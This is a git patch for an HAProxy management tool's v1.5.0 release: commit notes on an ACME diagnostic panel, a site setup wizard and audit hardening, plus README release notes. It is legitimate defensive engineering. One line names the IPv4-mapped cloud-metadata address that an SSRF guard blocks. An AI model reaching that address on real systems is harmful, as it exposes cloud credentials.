From 02b1cb2bcae9fc881a0bdb6c8de0ced2b981cf6c Mon Sep 17 00:00:00 2001 From: taylanbakircioglu Date: Thu, 14 May 2026 00:04:19 +0300 Subject: [PATCH] =?UTF-8?q?feat:=20v1.5.0=20=E2=80=94=20Site=20Wizard=20(I?= =?UTF-8?q?ssue=20#14)=20+=20ACME=20Diagnostic=20Panel=20(Issue=20#13)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Closes #13, Closes #14. This release squashes the v1.4.0 → v1.5.0 development line. v1.4.0 shipped the ACME stability & enterprise audit (Issues #10/#11/#12). v1.5.0 builds on that foundation with two co-equal headline features plus a 22-round audit campaign hardening the prior configuration surface. License remains MIT for v1.5.0 (relicense to AGPL-3.0 lands in v1.5.2). ------------------------------------------------------------------ HEADLINE FEATURE A — ACME Diagnostic Panel (Issue #13) ------------------------------------------------------------------ A live pre-flight + post-failure diagnostic surface for every ACME order, reachable from the ACME Automation page. The panel exists to make ACME failures legible to operators who do NOT have shell access to the API host. Endpoints (`backend/routers/acme_diagnostics.py`): POST /api/letsencrypt/orders/{order_id}/diagnostics Run the full 5-check suite (DNS / port-80 / routing / account / agents) and humanize the order's `error_detail` (>=11 RFC-8555 problem types, backwards compatible with legacy plain-string failures). POST /api/letsencrypt/orders/{order_id}/diagnostics/ {check_id}/rerun Re-run a single check in place — used by the "Re-run" button on every row of the modal's pre-flight table. GET /api/letsencrypt/orders/{order_id}/events Merged event timeline combining the typed `acme_order_events` rows with correlated `user_activity_logs` entries (resource_type = 'letsencrypt_order' AND resource_id = order_id). The diagnostic modal auto-tails this timeline every 5 seconds while open. Service-level checks (`backend/services/acme_diagnostics.py`): * DNS resolution via stdlib socket.gethostbyname_ex through run_in_executor (intentionally avoiding an aiodns runtime dep for v1.5.0). * Port-80 HEAD probe, target locked to the order's domains, success on HTTP 200 OR 404, warns on egress timeout (corp egress policies routinely blackhole outbound 80 — fail-hard would be too noisy). * SSRF guard: probe refuses non-public IPs and surfaces the skip in the diagnostic result; IPv4-mapped IPv6 normalisation closes the `::ffff:169.254.169.254` cloud-metadata vector. * HAProxy routing presence check: matches the order's cluster_ids to a port-80 HTTP frontend. * ACME account validity check against `letsencrypt_accounts`. * Agent presence check (>=1 active agent in target cluster). * Every sub-check wrapped in a wall-clock timeout to bound impact on the API event loop. RBAC: ssl.read for run, ssl.read for events. Per-user 5/min rate limit on both run and rerun, backed by the (user_id, action, created_at DESC) composite index. Frontend (`frontend/src/components/ACMEAutomation.js`): * "Diagnose" button on every order row + the existing "stuck order" warning row. * Modal with two tabs: - Pre-flight Checks (Antd Table with status pills + Re-run buttons + humanized error banner) - Event Log (Antd Timeline with auto-tail polling, scroll- to-bottom, pause-on-hover) * Correlation IDs surfaced in error banners and individual check fail details for backend-log lookup. ------------------------------------------------------------------ HEADLINE FEATURE B — Site Setup Wizard (Issue #14) ------------------------------------------------------------------ A single guided flow that creates a Backend + Servers + HTTP Frontend (and optional HTTPS Frontend) in one atomic transaction. Endpoints (`backend/routers/site_wizard.py`): POST /api/site-wizard/preview — diff-preview the changeset POST /api/site-wizard/create — atomic execute POST /api/site-wizard/reject — clean rollback (including any wizard_staged ACME orders) GET /api/site-wizard/drafts — draft persistence PUT /api/site-wizard/drafts/{id} — save/update DELETE /api/site-wizard/drafts/{id} Feature surface: * One screen captures both backend (mode + servers) AND frontend (http + optional https + SSL mode) inputs. * SSL modes: ACME (new order, HTTP-01 only for v1.5.0), Upload (existing PEM), Existing (link to a stored cert), or None. * ACME-staged path: wizard_staged_until watermark on the `letsencrypt_orders` row defers finalisation until agent confirmation; per-mode reject cleanly cancels and rolls back the staged order. * Live diff preview against the cluster's current generated config (renderer-evolution noise stripped — track-sc dedup, per-server cookie strip, defaults-cookie inheritance, listen-block flattening). * Draft persistence with PEM stripped at save time (private keys never round-trip through the drafts table). * Per-cluster multi-tenancy: drafts and wizard_staged orders are isolated to the creating user's cluster scope. Frontend (`frontend/src/components/SiteWizard.js`): * 4-step Antd Steps flow: Backend → Frontend → SSL → Review. * Render the live diff preview inline before commit. * Antd Form-level validation mirrors backend Pydantic validators (numeric bounds, HAProxy reserved keywords, ALPN consistency, IPv6 scope-id, domain regex, server name dedup). ------------------------------------------------------------------ AUDIT CAMPAIGN — Rounds 1 → 22 (Bulgu #1 → #82) ------------------------------------------------------------------ v1.5.0 includes 22 adversarial review passes. Each round produced its own commit set in the corporate development line; this squash collapses those into the v1.5.0 release artefact. Highlights: Round 1-4 Site Wizard core: dry-run parity, single-line value injection guard, ACL -f pattern-file block, SSL parity, timeout regex, form-state pin. Round 5-7 defaults-cookie inheritance, server-named-cookie guard, fe/be mode mismatch, duplicate server names, health_check_uri + server_address validators. Round 8-10 cookie_name / cookie_options newline-injection guard, dry-run parity (round 9), TCP-mode HTTP-only feature blockers. Round 11 SSL name path traversal + health-check >= 1. Round 12-13 SSL & ACME deep dive (Bulgu #23-#32). Round 14 single-line value injection (Bulgu #33). Round 15-17 ACME multi-tenant UX, numeric bounds, HAProxy reserved keywords, ALPN/TLS consistency, all-backup, multi-domain & multi-user enterprise edges, drain/HSTS/post-completion (Bulgu #34-#53). Round 18-21 concurrency, agent state, TCP-mode HTTP-only, list size caps, IPv6 scope-id, preview account validation, TCP backend + balance uri reject (Bulgu #54-#61). Round 22 FE error visibility + 3x stale-data lockouts, referential integrity + cascade safety, authentication & authorization, multi-cluster isolation, apply_pending_changes concurrency, script injection + bulk import multi-tenancy, prefix-stripped signature comparison (Bulgu #62-#82). ------------------------------------------------------------------ NO CORPORATE-SPECIFIC ARTIFACTS ------------------------------------------------------------------ This squash deliberately sanitises corporate hostnames, container registry references, and TLS secret names into generic placeholders (`your-registry.example.com/your-org`, `haproxy-openmanager*.example.com`, `wildcard-tls`, `taylanbakircioglu/haproxy-openmanager-*`) so the public artefact contains no internal infrastructure detail. Pilot / development history that retained those values stays in the corporate fork and is NOT part of this commit. --- .github/workflows/docker-build.yml | 1 + .gitignore | 2 + README.md | 745 + backend/auth_middleware.py | 53 +- backend/database/migrations.py | 439 +- backend/main.py | 328 +- backend/middleware/activity_logger.py | 69 +- backend/models/agent.py | 98 +- backend/models/backend.py | 108 +- backend/models/frontend.py | 369 +- backend/models/site_wizard.py | 2205 ++ backend/models/ssl.py | 66 +- backend/routers/acme_diagnostics.py | 284 + backend/routers/agent.py | 77 +- backend/routers/backend.py | 391 +- backend/routers/cluster.py | 620 +- backend/routers/config.py | 56 +- backend/routers/configuration.py | 34 +- backend/routers/frontend.py | 282 +- backend/routers/letsencrypt.py | 486 +- backend/routers/site_wizard.py | 3227 +++ backend/routers/ssl.py | 302 +- backend/routers/user.py | 84 +- backend/routers/waf.py | 20 +- backend/services/acme_diagnostics.py | 651 + backend/services/apply_service.py | 119 + backend/services/backend_service.py | 148 + backend/services/frontend_service.py | 150 + backend/services/haproxy_config.py | 945 +- backend/services/letsencrypt_service.py | 128 + backend/services/ssl_service.py | 410 + backend/tests/test_acme_diagnostics.py | 508 + backend/tests/test_acme_event_log.py | 256 + backend/tests/test_acme_humanizer.py | 171 + .../tests/test_apply_service_extraction.py | 183 + .../tests/test_backend_service_extraction.py | 176 + .../test_frontend_auth_bootstrap_phase_j.py | 1855 ++ .../tests/test_frontend_service_extraction.py | 154 + .../tests/test_haproxy_config_ssl_verify.py | 112 + .../tests/test_haproxy_validator_bulgu12.py | 6269 +++++ .../test_haproxy_validator_timeout_units.py | 107 + backend/tests/test_site_wizard.py | 365 + .../test_site_wizard_account_id_validation.py | 57 + .../tests/test_site_wizard_acme_precheck.py | 49 + backend/tests/test_site_wizard_advanced.py | 285 + .../test_site_wizard_api_error_envelope.py | 110 + .../tests/test_site_wizard_cancel_save_ux.py | 94 + backend/tests/test_site_wizard_drafts_perm.py | 145 + .../test_site_wizard_existing_cert_list.py | 135 + backend/tests/test_site_wizard_form.py | 86 + .../tests/test_site_wizard_hsts_idempotent.py | 51 + .../tests/test_site_wizard_new_site_route.py | 227 + .../tests/test_site_wizard_parity_minimal.py | 227 + .../test_site_wizard_phase2_validator_gate.py | 192 + .../test_site_wizard_phase3_manual_parity.py | 201 + backend/tests/test_site_wizard_phase_b_d_f.py | 577 + backend/tests/test_site_wizard_phase_k.py | 537 + .../tests/test_site_wizard_post_completion.py | 250 + ...st_site_wizard_post_completion_advanced.py | 89 + backend/tests/test_site_wizard_preview.py | 150 + .../tests/test_site_wizard_r14_hardening.py | 174 + backend/tests/test_site_wizard_r16_audit.py | 160 + backend/tests/test_site_wizard_r18_audit.py | 182 + backend/tests/test_site_wizard_r18_round2.py | 232 + backend/tests/test_site_wizard_r18_round3.py | 139 + backend/tests/test_site_wizard_r18b_round1.py | 200 + backend/tests/test_site_wizard_r18b_round3.py | 144 + backend/tests/test_site_wizard_r18b_round4.py | 199 + backend/tests/test_site_wizard_r18b_round5.py | 116 + backend/tests/test_site_wizard_r18b_round6.py | 114 + backend/tests/test_site_wizard_r18b_round7.py | 88 + backend/tests/test_site_wizard_r18c_round1.py | 169 + .../tests/test_site_wizard_r18c_round10.py | 347 + backend/tests/test_site_wizard_r18c_round2.py | 201 + backend/tests/test_site_wizard_r18c_round3.py | 242 + backend/tests/test_site_wizard_r18c_round4.py | 106 + backend/tests/test_site_wizard_r18c_round5.py | 101 + backend/tests/test_site_wizard_r18c_round6.py | 113 + backend/tests/test_site_wizard_r18c_round7.py | 350 + backend/tests/test_site_wizard_r18c_round8.py | 215 + backend/tests/test_site_wizard_r18c_round9.py | 247 + backend/tests/test_site_wizard_reject.py | 152 + .../test_site_wizard_resume_deep_merge.py | 83 + backend/tests/test_site_wizard_round11.py | 339 + .../tests/test_site_wizard_round11_audit.py | 522 + backend/tests/test_site_wizard_round11_pr2.py | 227 + .../tests/test_site_wizard_step_validation.py | 121 + backend/tests/test_site_wizard_tdz_fix.py | 125 + backend/tests/test_ssl_list_endpoint_auth.py | 47 + backend/tests/test_ssl_service_extraction.py | 355 + backend/utils/activity_log.py | 172 +- backend/utils/domain_validation.py | 77 + backend/utils/entity_snapshot.py | 62 +- backend/utils/haproxy_validator.py | 267 +- backend/utils/ssl_parser.py | 126 + build-images.sh | 14 +- docs/screenshots/dashboard-capacity.png | Bin 304177 -> 0 bytes frontend/package-lock.json | 23146 ++++++++++++++++ frontend/package.json | 2 +- frontend/src/App.js | 92 +- frontend/src/components/ACLRuleBuilder.js | 437 +- frontend/src/components/ACMEAutomation.js | 279 +- frontend/src/components/AgentManagement.js | 21 +- frontend/src/components/ApplyManagement.js | 83 +- frontend/src/components/BackendServers.js | 77 +- frontend/src/components/BulkConfigImport.js | 29 +- frontend/src/components/BulkVersionHistory.js | 48 +- frontend/src/components/ClusterManagement.js | 3 +- frontend/src/components/Configuration.js | 38 +- frontend/src/components/DashboardV2.js | 32 +- frontend/src/components/FrontendManagement.js | 226 +- frontend/src/components/Login.js | 3 +- frontend/src/components/PoolManagement.js | 9 +- frontend/src/components/SSLManagement.js | 200 +- frontend/src/components/Security.js | 5 +- frontend/src/components/SiteDrafts.js | 647 + frontend/src/components/SiteWizard.js | 3285 +++ frontend/src/components/UserManagement.js | 37 +- frontend/src/components/VersionHistory.js | 3 +- frontend/src/components/WAFManagement.js | 11 +- frontend/src/contexts/AuthContext.js | 149 +- frontend/src/contexts/ClusterContext.js | 200 +- frontend/src/index.js | 85 +- frontend/src/utils/apiError.js | 58 + frontend/src/utils/validation.js | 69 + k8s/manifests/00-namespace.yaml | 4 +- k8s/manifests/01-service-accounts.yaml | 10 +- k8s/manifests/02-rbac.yaml | 2 +- k8s/manifests/03-secrets.yaml | 4 +- k8s/manifests/04-storage.yaml | 4 +- k8s/manifests/05-postgres.yaml | 6 +- k8s/manifests/06-redis.yaml | 4 +- k8s/manifests/07-configmaps.yaml | 8 +- k8s/manifests/08-backend.yaml | 6 +- k8s/manifests/09-frontend.yaml | 6 +- k8s/manifests/10-nginx.yaml | 4 +- k8s/manifests/11-routes.yaml | 2 +- k8s/manifests/12-ingress.yaml | 20 +- k8s/manifests/13-hpa.yaml | 6 +- k8s/manifests/README.md | 32 +- version.json | 6 +- 141 files changed, 61670 insertions(+), 771 deletions(-) create mode 100644 backend/models/site_wizard.py create mode 100644 backend/routers/acme_diagnostics.py create mode 100644 backend/routers/site_wizard.py create mode 100644 backend/services/acme_diagnostics.py create mode 100644 backend/services/apply_service.py create mode 100644 backend/services/backend_service.py create mode 100644 backend/services/frontend_service.py create mode 100644 backend/services/letsencrypt_service.py create mode 100644 backend/services/ssl_service.py create mode 100644 backend/tests/test_acme_diagnostics.py create mode 100644 backend/tests/test_acme_event_log.py create mode 100644 backend/tests/test_acme_humanizer.py create mode 100644 backend/tests/test_apply_service_extraction.py create mode 100644 backend/tests/test_backend_service_extraction.py create mode 100644 backend/tests/test_frontend_auth_bootstrap_phase_j.py create mode 100644 backend/tests/test_frontend_service_extraction.py create mode 100644 backend/tests/test_haproxy_config_ssl_verify.py create mode 100644 backend/tests/test_haproxy_validator_bulgu12.py create mode 100644 backend/tests/test_haproxy_validator_timeout_units.py create mode 100644 backend/tests/test_site_wizard.py create mode 100644 backend/tests/test_site_wizard_account_id_validation.py create mode 100644 backend/tests/test_site_wizard_acme_precheck.py create mode 100644 backend/tests/test_site_wizard_advanced.py create mode 100644 backend/tests/test_site_wizard_api_error_envelope.py create mode 100644 backend/tests/test_site_wizard_cancel_save_ux.py create mode 100644 backend/tests/test_site_wizard_drafts_perm.py create mode 100644 backend/tests/test_site_wizard_existing_cert_list.py create mode 100644 backend/tests/test_site_wizard_form.py create mode 100644 backend/tests/test_site_wizard_hsts_idempotent.py create mode 100644 backend/tests/test_site_wizard_new_site_route.py create mode 100644 backend/tests/test_site_wizard_parity_minimal.py create mode 100644 backend/tests/test_site_wizard_phase2_validator_gate.py create mode 100644 backend/tests/test_site_wizard_phase3_manual_parity.py create mode 100644 backend/tests/test_site_wizard_phase_b_d_f.py create mode 100644 backend/tests/test_site_wizard_phase_k.py create mode 100644 backend/tests/test_site_wizard_post_completion.py create mode 100644 backend/tests/test_site_wizard_post_completion_advanced.py create mode 100644 backend/tests/test_site_wizard_preview.py create mode 100644 backend/tests/test_site_wizard_r14_hardening.py create mode 100644 backend/tests/test_site_wizard_r16_audit.py create mode 100644 backend/tests/test_site_wizard_r18_audit.py create mode 100644 backend/tests/test_site_wizard_r18_round2.py create mode 100644 backend/tests/test_site_wizard_r18_round3.py create mode 100644 backend/tests/test_site_wizard_r18b_round1.py create mode 100644 backend/tests/test_site_wizard_r18b_round3.py create mode 100644 backend/tests/test_site_wizard_r18b_round4.py create mode 100644 backend/tests/test_site_wizard_r18b_round5.py create mode 100644 backend/tests/test_site_wizard_r18b_round6.py create mode 100644 backend/tests/test_site_wizard_r18b_round7.py create mode 100644 backend/tests/test_site_wizard_r18c_round1.py create mode 100644 backend/tests/test_site_wizard_r18c_round10.py create mode 100644 backend/tests/test_site_wizard_r18c_round2.py create mode 100644 backend/tests/test_site_wizard_r18c_round3.py create mode 100644 backend/tests/test_site_wizard_r18c_round4.py create mode 100644 backend/tests/test_site_wizard_r18c_round5.py create mode 100644 backend/tests/test_site_wizard_r18c_round6.py create mode 100644 backend/tests/test_site_wizard_r18c_round7.py create mode 100644 backend/tests/test_site_wizard_r18c_round8.py create mode 100644 backend/tests/test_site_wizard_r18c_round9.py create mode 100644 backend/tests/test_site_wizard_reject.py create mode 100644 backend/tests/test_site_wizard_resume_deep_merge.py create mode 100644 backend/tests/test_site_wizard_round11.py create mode 100644 backend/tests/test_site_wizard_round11_audit.py create mode 100644 backend/tests/test_site_wizard_round11_pr2.py create mode 100644 backend/tests/test_site_wizard_step_validation.py create mode 100644 backend/tests/test_site_wizard_tdz_fix.py create mode 100644 backend/tests/test_ssl_list_endpoint_auth.py create mode 100644 backend/tests/test_ssl_service_extraction.py create mode 100644 backend/utils/domain_validation.py delete mode 100644 docs/screenshots/dashboard-capacity.png create mode 100644 frontend/package-lock.json create mode 100644 frontend/src/components/SiteDrafts.js create mode 100644 frontend/src/components/SiteWizard.js create mode 100644 frontend/src/utils/apiError.js create mode 100644 frontend/src/utils/validation.js diff --git a/.github/workflows/docker-build.yml b/.github/workflows/docker-build.yml index c3fdc8d..b503306 100644 --- a/.github/workflows/docker-build.yml +++ b/.github/workflows/docker-build.yml @@ -61,3 +61,4 @@ jobs: taylanbakircioglu/haproxy-openmanager-frontend:latest taylanbakircioglu/haproxy-openmanager-frontend:${{ steps.version.outputs.TAG }} taylanbakircioglu/haproxy-openmanager-frontend:${{ steps.prodversion.outputs.VERSION }} + diff --git a/.gitignore b/.gitignore index 8daa044..15e1747 100644 --- a/.gitignore +++ b/.gitignore @@ -26,6 +26,8 @@ __pycache__/ .Python env/ venv/ +.venv/ +.venv-*/ ENV/ env.bak/ venv.bak/ diff --git a/README.md b/README.md index a925d7b..ca9f1b1 100644 --- a/README.md +++ b/README.md @@ -249,6 +249,8 @@ This architecture provides better security (no inbound connections to HAProxy se - **External Account Binding (EAB)**: Support for CAs that require EAB (ZeroSSL, Google Trust Services) - **Structured Error Diagnostics** *(v1.4.0)*: All ACME failures (challenge, finalize, download) persist structured JSON to `letsencrypt_orders.error_detail` for clear post-mortem analysis - **Audit Logging** *(v1.4.0)*: Every ACME operation (request, revoke, CA-chain import, account ops) is captured in `user_activity_logs` for compliance review +- **ACME Diagnostic Panel** *(v1.5.0 — Issue #13)*: Live pre-flight + post-failure diagnostics (DNS / port-80 / routing / account / agents) and merged event timeline (`acme_order_events` + correlated `user_activity_logs`) accessible from the ACME Automation page; humanized error rendering for 11+ RFC8555 problem types with backwards-compatible fallback for legacy plain-string `error_detail`; per-user 5/min rate-limit +- **New Site Setup Wizard** *(v1.5.0 — Issue #14)*: Single guided flow that creates a Backend + Servers + HTTP Frontend (and optional HTTPS Frontend with chosen SSL mode: ACME / Upload / Existing / None) in one atomic transaction, with diff preview, draft persistence (PEM stripped), and ACME-staged order completion gated by agent confirmation. Per-mode reject path cleanly rolls back including any wizard-staged ACME orders. - **Backward Compatible**: ACME-managed and manually uploaded certificates coexist seamlessly; existing SSL workflows are completely unaffected #### Integration & API @@ -2195,4 +2197,747 @@ Developed with ❤️ for the HAProxy community --- +## Release Notes + +### v1.5.0 — ACME Diagnostics & Site Wizard + +#### Highlights + +- **Issue #13: ACME Diagnostic Panel.** From the ACME Automation list, click the new `Diagnose` button (or the order's status tag) to launch a Modal with three Tabs: + 1. **Pre-flight Checks** — DNS resolution, port-80 reachability, HAProxy routing, ACME account status, agent health. Each check has its own `Re-run` button. + 2. **Event Log** — Merged timeline of typed `acme_order_events` rows (added in v1.5.0) and correlated `user_activity_logs` entries; auto-tails every 5s while the order is in `pending`/`processing`. + 3. **Raw Error** — Humanized error display covering 11+ RFC8555 problem types (`badNonce`, `caa`, `connection`, `rateLimited`, `unauthorized`, ...) with full backwards compatibility for legacy plain-string `error_detail`. +- **Issue #14: New Site Setup Wizard.** A single guided flow (`/sites/new`) that creates a Backend + Servers + HTTP Frontend (and optional HTTPS Frontend) in one atomic transaction. SSL choice supports four modes: + - `acme` — defers HTTPS frontend creation to a deferred `post_completion_actions` block on a wizard-staged ACME order; the order is promoted to a real LE call only after the agent confirms the gating `bulk-site-create-{ts}` config version (legacy `bulk-proxied-host-create-{ts}` is still recognised by the reject path for historical APPLIED versions). + - `upload` — uploads PEM cert+key in the same transaction. + - `existing` — reuses an admin-uploaded cert and ensures the cluster junction is set. + - `none` — HTTP-only host. + The wizard ships with the same visual ACL rule builder used by the standalone Frontend Management page (Routing & ACLs section on the Frontend step) so operators define `acl` / `use_backend` / `redirect` rules from cluster-scoped backend dropdowns instead of free-text HAProxy directives. Drafts persist for 30 days with PEM material stripped at rest. Reject of the wizard's PENDING version cleanly rolls back ALL wizard entities (backends, servers, frontend(s), SSL row if any, AND the wizard-staged `letsencrypt_orders` row). + +#### Migration Release Notes + +This release adds **idempotent** migrations only — no destructive schema changes: + +- New columns on `letsencrypt_orders`: + - `post_completion_actions JSONB` (deferred actions for wizard ACME mode) + - `wizard_staged_until TIMESTAMPTZ` (24h timeout for wizard-staged orders) + - `pending_apply_version_name VARCHAR(255)` + partial index `WHERE status='wizard_staged'` + - `created_by INTEGER REFERENCES users(id) ON DELETE SET NULL` +- New tables: `acme_order_events` (typed event log, 90d retention), `wizard_drafts` (30d retention). +- New composite index `idx_user_activity_logs_user_action_time` for the per-user-per-minute rate-limit COUNT(*) used by both new features. + +The `letsencrypt_orders.status` column has no CHECK constraint; the new `wizard_staged` value coexists with all existing statuses (`pending`, `ready`, `processing`, `valid`, `invalid`, ...). + +The reject path's force-delete fallback now also covers `entity_type='letsencrypt_order'` snapshots so wizard-staged ACME orders are removed when their parent PENDING version is rejected. + +#### Rollback Considerations + +- **Forward compatibility (v1.5.0 → future).** All new columns/tables are additive; older code paths that do not know about them are unaffected. +- **Backward rollback (v1.5.0 → v1.4.0).** The new columns/tables remain in the database harmlessly; v1.4.0 simply ignores them. Wizard-staged ACME orders that were never promoted to `pending` will not progress on v1.4.0 (the v1.4.0 background task does not select `status='wizard_staged'`); admins can either: + 1. Wait for the 24h `wizard_staged_until` timeout to fire (v1.5.0 only) — only relevant if rolling back temporarily, OR + 2. Manually `DELETE FROM letsencrypt_orders WHERE status='wizard_staged'` and re-run the wizard once you re-deploy v1.5.0. +- **Wizard ACME failure scenarios.** If the agent never confirms the gating config version (e.g. agent down), the wizard-staged ACME order will time out and transition to `status='invalid'` after 24h with `error_detail='wizard staged timeout (>24h with no agent confirm)'` — surfaced in the new Diagnostic Panel. +- **Drafts.** PEM material is server-side stripped from `wizard_drafts.payload`; rolling back will not leak keys at rest. + +#### v1.5.x — Site Wizard module rename + ACL UX parity + +A non-breaking follow-up to v1.5.0 that retires the internal "Proxied Host" namespace in favour of "Site" everywhere it used to leak into operators' workflow: + +- **Module file rename.** `backend/routers/proxied_host.py` and `backend/models/proxied_host.py` are now `site_wizard.py`. The Pydantic class `ProxiedHostCreate` (and its sibling `ProxiedHostPreflightAcme` / `ProxiedHostDraftCreate`) was renamed to `SiteCreate` etc. with a module-level alias `ProxiedHostCreate = SiteCreate` so existing imports keep working. +- **API URL prefix rename.** The wizard now mounts at `/api/sites/*` (canonical). The legacy `/api/proxied-hosts/*` slug is preserved as a hidden `308 Permanent Redirect` alias on `main.py`, so external integrators keep working through the redirect during the transition window. The frontend axios calls all target `/api/sites/*` directly. +- **Audit-log version-name rename.** Wizard-applied versions now carry the prefix `bulk-site-create-{ts}`. The cluster reject path on `cluster.py` recognises BOTH the new prefix and the legacy `bulk-proxied-host-create-{ts}` so historical APPLIED versions still clean up. +- **Activity-log action + resource_type.** The wizard's explicit `log_user_activity` call now writes `action='wizard_create_site'` and `resource_type='site'` (was `wizard_create_proxied_host` / `proxied_host`). Older audit rows already in the database keep their pre-rename strings. +- **Rate-limit dual-name aliasing.** The wizard's per-user-per-minute rate-limit (`COUNT(*)` over `user_activity_logs`) now passes `ANY($::text[])` so it counts BOTH the canonical `site_*` action_name and its legacy `proxied_host_*` companion. A deploy that lands mid-minute cannot reset the quota, and the limit cannot be bypassed by an attacker who picks the legacy name. +- **DB schema rebrand (Phase I).** The `wizard_drafts.wizard_type` column's schema-level `DEFAULT` flipped from `'proxied_host'` to `'site'`. New rows land with the canonical value via an explicit `INSERT … VALUES ($1, 'site', …)`. The list / cap / cluster-delete-purge queries all filter on `wizard_type IN ('site', 'proxied_host')` so pre-rebrand drafts owned by the same user remain visible and remain rejectable. **Existing rows are NOT row-rewritten** — the migration is a metadata-only `ALTER TABLE … SET DEFAULT 'site'` that takes a non-blocking lock and is idempotent. +- **Wizard ACL UX parity.** The Frontend step now embeds the same `ACLRuleBuilder` component used by the Frontend Management page, with cluster-scoped existing backends populated automatically and the wizard's brand-new backend surfaced as a virtual entry in the use_backend dropdown. Drafts persist the three rule arrays so a resumed draft hydrates with the same routing config. + +Backward compatibility is preserved at every layer: the DB-level `wizard_drafts.wizard_type='proxied_host'` enum value (still valid for pre-rebrand rows), the `LEGACY_WIZARD_DRAFT_SESSION_KEY` browser sessionStorage key, frontend route aliases (`/proxied-hosts/new`, `/proxied-hosts/drafts`), and the legacy `/api/proxied-hosts/*` URL all keep working. + +##### Phase J — UI mount-time race fix ("clusters don't appear after deploy") + +**Reported symptom.** After every rolling deploy, operators saw the cluster +selector empty for "a long time" — closing and re-opening the browser did +not help, but waiting ~30s did. The user diagnosed it as a UI problem. + +**Root cause.** A React mount-time race between `` (parent) +and `` (child). React's useEffect commit phase fires +CHILD effects before PARENT effects, so `ClusterProvider.useEffect` — +which dispatches the very first `axios.get('/api/clusters')` — ran BEFORE +`AuthProvider.useEffect` set `axios.defaults.headers.common['Authorization']`. +The first request went out un-authenticated → backend returned 401 → +ClusterContext's `catch` block silently committed `clusters=[]`. The +operator-visible UI rendered "no clusters" until the 30-second +auto-refresh interval re-fired the request, by which point auth had +hydrated and the call succeeded. Restarting the browser kept hitting the +same race because localStorage carried the token but the useEffect +ordering was identical. + +**Fix (3 layers of defence).** + +1. **`src/index.js` module-level axios bootstrap.** Runs before + `` is rendered, so no React tree (and therefore no useEffect) + can fire before it. Synchronously seeds + `axios.defaults.headers.common['Authorization']` from localStorage + AND installs an `axios.interceptors.request` that re-reads the token + on every outbound request. The interceptor is the belt-and-suspenders + defence — it cannot be raced by mount ordering and survives any + future code path that mutates `axios.defaults`. +2. **`AuthContext` synchronous useState lazy initialisers.** The + `_hydrateAuthSync` helper runs during the AuthProvider RENDER phase, + which precedes ANY child useEffect. It reads localStorage and seeds + `loading=false`, `isAuthenticated=true`, and the user object — + eliminating the post-mount async hydration that produced the race. +3. **`ClusterContext` auth-gate + exponential-backoff retry.** The + first fetch is gated on `isAuthenticated && !authLoading`, and a + transient 5xx / network failure now triggers up to 4 fast retries + (1s, 2s, 4s, 8s — total ~15s) instead of immediately blanking the + cluster list and depending on the 30s auto-refresh interval. 401/403 + intentionally do NOT retry (re-auth is the user's job). The previous + cluster list is preserved on transient hiccups so periodic refreshes + no longer flash an "empty state". + +**Verification.** 22 static-source pin tests in +`backend/tests/test_frontend_auth_bootstrap_phase_j.py` cover all three +layers (bootstrap order, AuthContext lazy init, ClusterContext retry + +auth-gate) plus the six audit-loop hotfixes below. 590 backend tests +pass; frontend `npm run build` clean. + +**Operator-visible outcome.** After deploy, the cluster selector +populates on the FIRST fetch — no 30-second wait. A transient kube-proxy +convergence window collapses to a few seconds (covered by retries) instead +of being masked by the 30-second interval. + +##### Phase J audit hotfixes (audit fix #2 → #6) + +Successive audit loops surfaced six follow-on issues that each +reproduced one or more of the original symptoms in narrower windows. +Each fix is pinned in the same Phase J pin-test file: + +- **Audit fix #2 — stale closure in `fetchClusters`.** Wrapping + `fetchClusters` in `useCallback(…, [])` froze `selectedCluster` at + its mount-time value (`null`), so the 30-second auto-refresh + reported stale agent-health data forever. Bridged via + `selectedClusterRef`, updated in a passive effect, and read inside + the callback. +- **Audit fix #3 — missing `setLoading(true)` on the auth-gated + first fetch.** During the login flow, the ClusterContext effect + fired with `loading=false` (the initial value), so the cluster + selector briefly rendered "No Cluster Selected" before the spinner + came back. Now the effect explicitly seeds `setLoading(true)` when + the auth gate flips open. +- **Audit fix #4 — `loading=false` between retry waves.** The + `finally` clause unconditionally released the loading flag, so the + spinner blinked off between each backoff attempt and the UI + flashed "No Cluster Selected" for up to ~15 seconds — the very + symptom Phase J was meant to eliminate. The release is now gated + on `retryTimerRef.current === null` so the spinner stays on across + the entire retry budget. +- **Audit fix #5 — exhausted retry budget left counter at 4.** + `retryAttemptRef` was reset only on a successful fetch and on the + auth-gate transition. After 4 transient failures in a row the + counter stayed at 4 for the rest of the session, so any subsequent + invocation (the 30s background refresh, an explicit refetch from a + mutator like `deleteCluster`) skipped the retry pattern entirely + on the first transient failure. The settle-into-empty-state branch + now resets the counter so each fresh invocation gets a full retry + budget. +- **Audit fix #6 — page-content "No Cluster Selected" during the + fetch window.** The cluster selector itself already showed a + spinner via `loading`, but page-level components + (`SSLManagement`, `Configuration`, `DashboardV2`, + `BulkConfigImport`, `BulkVersionHistory`) checked + `!selectedCluster` directly and rendered a permanent warning + affordance. During the 15-second retry budget the page therefore + read as "you forgot to pick a cluster" even though the cluster + list was simply still being fetched. Each page now also consumes + `loading: clustersLoading` from `useCluster()` and shows a neutral + "Loading clusters…" affordance until the fetch settles, only then + flipping to the warning. This is the fix that fully closes the + user-visible loop on the original "clusters don't appear after + deploy" report. + +##### Phase K — Site Wizard validation hardening + UX simplification + +Operators reported that completing the wizard and clicking **Create & +Apply** repeatedly surfaced opaque 422 errors at the final step: + +``` +HTTP→HTTPS redirect cannot be combined with custom redirect rules. +body -> frontend -> acl_rules -> 0: Input should be a valid dictionary +body -> frontend -> use_backend_rules -> 0: Input should be a valid dictionary +``` + +Root causes (each fixed by Phase K): + +1. **Contract mismatch on rule fields.** `ACLRuleBuilder.js` + serialised ACL / use_backend / redirect rules as `string[]` while + `FrontendStep` typed them as `List[dict]`. Every wizard POST + carrying a single ACL rule failed Pydantic validation. The + downstream renderer in `services/haproxy_config.py` had always + expected strings, so the schema mismatch was the stale side. +2. **Step 2 mutex was advisory only.** The + `https_redirect ⊕ redirect_rules` validator existed at the model + level but the wizard let the operator advance through Step 2 → 3 → + 4 with the conflict in place, only to be punted back at Create. +3. **No HAProxy validation before Create.** `/api/sites/preview` + only checked collisions; the real validator ran inside the + `create_site` transaction *after* entity inserts. Operators + discovered errors at apply time. +4. **HTTPS step overcrowded.** 11 SSL bind-line knobs flat on Step 3 + without a defaults summary or any visible grouping. + +**What changed** + +- **Phase A — Backend contract + safety validators** + (`backend/models/site_wizard.py`). + - `acl_rules`, `use_backend_rules` are now `List[str]`. + 